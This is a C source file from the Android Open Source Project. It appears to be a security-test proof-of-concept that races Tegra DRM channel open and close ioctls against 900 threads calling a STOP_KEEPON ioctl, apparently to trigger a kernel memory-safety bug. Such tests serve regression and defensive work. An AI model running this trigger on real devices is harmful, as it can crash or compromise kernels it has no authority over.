1 /*
2  * Copyright (C) 2017 The Android Open Source Project
3  *
4  * Licensed under the Apache License, Version 2.0 (the "License");
5  * you may not use this file except in compliance with the License.
6  * You may obtain a copy of the License at
7  *
8  *      http://www.apache.org/licenses/LICENSE-2.0
9  *
10  * Unless required by applicable law or agreed to in writing, software
11  * distributed under the License is distributed on an "AS IS" BASIS,
12  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13  * See the License for the specific language governing permissions and
14  * limitations under the License.
15  */
16 #define _GNU_SOURCE
17 #include <stdio.h>
18 #include <stdlib.h>
19 #include <pthread.h>
20 #include <sys/ioctl.h>
21 #include <errno.h>
22 #include <sys/stat.h>
23 #include <fcntl.h>
24 #include <sched.h>
25 #include <sys/types.h>
26 #include <signal.h>
27 #include <unistd.h>
28 
29 #define KEEPON_THREAD_NUM	900
30 #define TRY_TIMES	KEEPON_THREAD_NUM
31 #define DEV "/dev/dri/renderD129"
32 
33 #define SIOCIWFIRSTPRIV 0x8BE0
34 #define SIOCGIWNAME     0x8B01
35 #define IOCTL_SET_STRUCT_FOR_EM         (SIOCIWFIRSTPRIV + 11)
36 #define PRIV_CUSTOM_BWCS_CMD            13
37 #define PRIV_CMD_OID                    15
38 #define PRIV_CMD_SW_CTRL                20
39 #define PRIV_CMD_WSC_PROBE_REQ          22
40 
41 enum host1x_class {
42         HOST1X_CLASS_HOST1X = 0x1,
43         HOST1X_CLASS_NVENC = 0x21,
44         HOST1X_CLASS_VI = 0x30,
45         HOST1X_CLASS_ISPA = 0x32,
46         HOST1X_CLASS_ISPB = 0x34,
47         HOST1X_CLASS_GR2D = 0x51,
48         HOST1X_CLASS_GR2D_SB = 0x52,
49         HOST1X_CLASS_VIC = 0x5D,
50         HOST1X_CLASS_GR3D = 0x60,
51         HOST1X_CLASS_NVJPG = 0xC0,
52         HOST1X_CLASS_NVDEC = 0xF0,
53 };
54 
55 #define DRM_COMMAND_BASE                0x40
56 #define DRM_COMMAND_END                 0xA0
57 
58 #define DRM_TEGRA_OPEN_CHANNEL          0x05
59 #define DRM_TEGRA_CLOSE_CHANNEL         0x06
60 #define DRM_TEGRA_STOP_KEEPON		0x11
61 
62 struct drm_tegra_open_channel {
63         __u32 client;
64         __u32 pad;
65     volatile __u64 context;
66 };
67 
68 struct drm_tegra_close_channel {
69     volatile __u64 context;
70 };
71 
72 struct drm_tegra_keepon {
73 	volatile __u64 context;
74 };
75 
76 #define DRM_IOCTL_BASE                  'd'
77 #define DRM_IOWR(nr,type)               _IOWR(DRM_IOCTL_BASE,nr,type)
78 
79 #define DRM_IOCTL_TEGRA_OPEN_CHANNEL DRM_IOWR(DRM_COMMAND_BASE + DRM_TEGRA_OPEN_CHANNEL, struct drm_tegra_open_channel)
80 #define DRM_IOCTL_TEGRA_CLOSE_CHANNEL DRM_IOWR(DRM_COMMAND_BASE + DRM_TEGRA_CLOSE_CHANNEL, struct drm_tegra_open_channel)
81 #define DRM_IOCTL_TEGRA_STOP_KEEPON DRM_IOWR(DRM_COMMAND_BASE + DRM_TEGRA_STOP_KEEPON, struct drm_tegra_keepon)
82 
83 int fd;
84 pthread_t keepon_thread_id[KEEPON_THREAD_NUM] = { 0 };
85 
86 volatile struct drm_tegra_open_channel open_c = { 0 };
87 volatile struct drm_tegra_close_channel close_c = { 0 };
88 volatile struct drm_tegra_keepon keepon_c = { 0 };
89 
set_affinity(int num)90 static int set_affinity(int num)
91 {
92 	int ret = 0;
93 	cpu_set_t mask;
94 	CPU_ZERO(&mask);
95 	CPU_SET(num, &mask);
96 	ret = sched_setaffinity(0, sizeof(cpu_set_t), &mask);
97 	return ret;
98 }
99 
prepare()100 static void prepare()
101 {
102 	open_c.client = HOST1X_CLASS_VIC;
103 }
104 
keepon_thread(void * no_use)105 void* keepon_thread(void* no_use)
106 {
107 	set_affinity(1);
108 
109 	while(1){
110 		ioctl(fd, DRM_IOCTL_TEGRA_STOP_KEEPON, &keepon_c);
111 	}
112 }
113 
main()114 int main()
115 {
116 	int i, try_time = TRY_TIMES, ret;
117 
118 	/* bind_cpu */
119 	set_affinity(0);
120 
121 	/* open dev */
122 	fd = open(DEV,O_RDONLY);
123 	if(fd == -1){
124 		return 0;
125 	}
126 
127 	/* prepare ioctl cmd */
128 	prepare();
129 
130 	/* create keepon thread */
131 	for(i = 0; i < KEEPON_THREAD_NUM; i++){
132 		ret = pthread_create(keepon_thread_id + i, NULL, keepon_thread, NULL);
133 		if(ret){
134 			goto out_keepon_thread;
135 		}
136 	}
137 
138 	while(try_time){
139 		/* open */
140 		ret = ioctl(fd, DRM_IOCTL_TEGRA_OPEN_CHANNEL, &open_c);
141 		if(ret == 0){
142 			try_time--;
143 			/* set keepon */
144 			keepon_c.context = open_c.context;
145 			/* set close */
146 			close_c.context = open_c.context;
147 			usleep(500);
148 			ret = ioctl(fd, DRM_IOCTL_TEGRA_CLOSE_CHANNEL, &close_c);
149 		}
150 	}
151 
152 out_keepon_thread:
153 	/* kill keepon thread */
154 	for(i = 0; i < KEEPON_THREAD_NUM; i++){
155 			pthread_kill(keepon_thread_id[i], SIGKILL);
156 	}
157 out_dev:
158 	close(fd);
159 	return 0;
160 }
161